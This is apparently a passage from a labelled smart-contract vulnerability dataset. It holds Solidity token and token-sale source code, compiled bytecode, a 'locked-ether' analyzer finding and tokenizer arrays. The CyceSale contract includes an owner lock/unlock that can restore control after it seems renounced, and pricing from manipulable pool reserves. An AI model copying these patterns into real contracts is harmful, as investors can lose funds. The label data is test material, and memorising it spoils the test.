transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610625578063d4ee1d9014610670578063dc39d06d146106c7578063dd62ed3e1461072c578063e6cb9013146107a3578063f2fde38b146107ee575b600080fd5b34801561012357600080fd5b5061012c610831565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108cf565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109c1565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0c565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c9c565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610caf565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cfe565b005b34801561039257600080fd5b5061039b610e9d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610ec2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f60565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7c565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b506105526004803603810190808035906020019092919080359060200190929190505050611105565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b5061060b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611129565b604051808215151515815260200191505060405180910390f35b34801561063157600080fd5b5061065a6004803603810190808035906020019092919080359060200190929190505050611378565b6040518082815260200191505060405180910390f35b34801561067c57600080fd5b506106856113a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d357600080fd5b50610712600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113cf565b604051808215151515815260200191505060405180910390f35b34801561073857600080fd5b5061078d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611533565b6040518082815260200191505060405180910390f35b3480156107af57600080fd5b506107d860048036038101908080359060200190929190803590602001909291905050506115ba565b6040518082815260200191505060405180910390f35b3480156107fa57600080fd5b5061082f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d6565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c75780601f1061089c576101008083540402835291602001916108c7565b820191906000526020600020905b8154815290600101906020018083116108aa57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a57600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f60565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b20600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f60565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610be9600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115ba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f585780601f10610f2d57610100808354040283529160200191610f58565b820191906000526020600020905b815481529060010190602001808311610f3b57829003601f168201915b505050505081565b6000828211151515610f7157600080fd5b818303905092915050565b6000610fc7600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f60565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611053600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115ba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561111557600080fd5b818381151561112057fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113065780820151818401526020810190506112eb565b50505050905090810190601f1680156113335780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561135557600080fd5b505af1158015611369573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611398575081838281151561139557fe5b04145b15156113a357600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561142c57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114f057600080fd5b505af1158015611504573d6000803e3d6000fd5b505050506040513d602081101561151a57600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115d057600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561163157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820e20b93df1893a3d12680d6f61178b7050a5145bf4407388283648ca721e1a8840029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 2509, 2063, 2549, 2094, 19317, 2620, 2546, 2581, 2581, 2683, 2546, 17134, 2575, 23352, 23833, 2692, 2278, 2683, 20952, 2094, 2575, 3676, 10354, 2487, 7959, 2575, 2581, 2575, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,537
0x96F4C1a2EcF5fbACd04Aa7B7C0C8bAc7De737058
pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function decimals() external view returns(uint256); function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } contract CyceSale is Context, Ownable { using SafeMath for uint256; using Address for address; address public cyceToken; IUniswapV2Factory public uniswapFactory; address public WETH; address public usdPair; mapping (address => address) public tokenList; event purchase(address user, uint256 amount); constructor(address _cyceToken, address _weth, address _factory, address _usd) public { cyceToken = _cyceToken; WETH = _weth; uniswapFactory = IUniswapV2Factory(_factory); if(uniswapFactory.getPair(WETH, _usd) == address(0)){ uniswapFactory.createPair(_usd, WETH); } usdPair = uniswapFactory.getPair(WETH, _usd); tokenList[_usd] = uniswapFactory.getPair(WETH, _usd); //USDC } function buyToken() external payable { IERC20(cyceToken).transfer(msg.sender, msg.value.mul(1 ether).div(getUSDValue())); payable(owner()).transfer(msg.value); emit purchase(msg.sender, msg.value.div(getUSDValue())); } // calculate price based on pair reserves function getUSDValue() public view returns(uint256) { IUniswapV2Pair pair = IUniswapV2Pair(usdPair); if(pair.token0() != WETH){ (uint Res0, uint Res1,) = pair.getReserves(); // decimals uint res1 = Res1 * 1 ether; return( res1 / Res0 ); // return amount of token0 needed to buy token1 } else{ (uint Res1, uint Res0,) = pair.getReserves(); uint res1 = Res1 * 1 ether; return( res1 / Res0 ); // return amount of token0 needed to buy token1 } } function withdraw() public onlyOwner{ IERC20(cyceToken).transfer(msg.sender, IERC20(cyceToken).balanceOf(address(this)) ); payable(owner()).transfer(address(this).balance); } }
0x6080604052600436106100dd5760003560e01c8063a69df4b51161007f578063bfc0534811610059578063bfc05348146102c5578063dd46706414610306578063e5e539ea14610341578063f2fde38b14610382576100dd565b8063a69df4b514610242578063ad5c464814610259578063b6c523241461029a576100dd565b8063715018a6116100bb578063715018a61461019f5780638bdb2afa146101b65780638da5cb5b146101f7578063a482171914610238576100dd565b80633ccfd60b146100e257806350593af7146100f957806364e9f35f14610124575b600080fd5b3480156100ee57600080fd5b506100f76103d3565b005b34801561010557600080fd5b5061010e61067d565b6040518082815260200191505060405180910390f35b34801561013057600080fd5b506101736004803603602081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061093b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101ab57600080fd5b506101b461096e565b005b3480156101c257600080fd5b506101cb610af4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561020357600080fd5b5061020c610b1a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610240610b43565b005b34801561024e57600080fd5b50610257610d03565b005b34801561026557600080fd5b5061026e610f20565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102a657600080fd5b506102af610f46565b6040518082815260200191505060405180910390f35b3480156102d157600080fd5b506102da610f50565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031257600080fd5b5061033f6004803603602081101561032957600080fd5b8101908080359060200190929190505050610f76565b005b34801561034d57600080fd5b50610356611167565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038e57600080fd5b506103d1600480360360208110156103a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118d565b005b6103db611398565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461049b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffff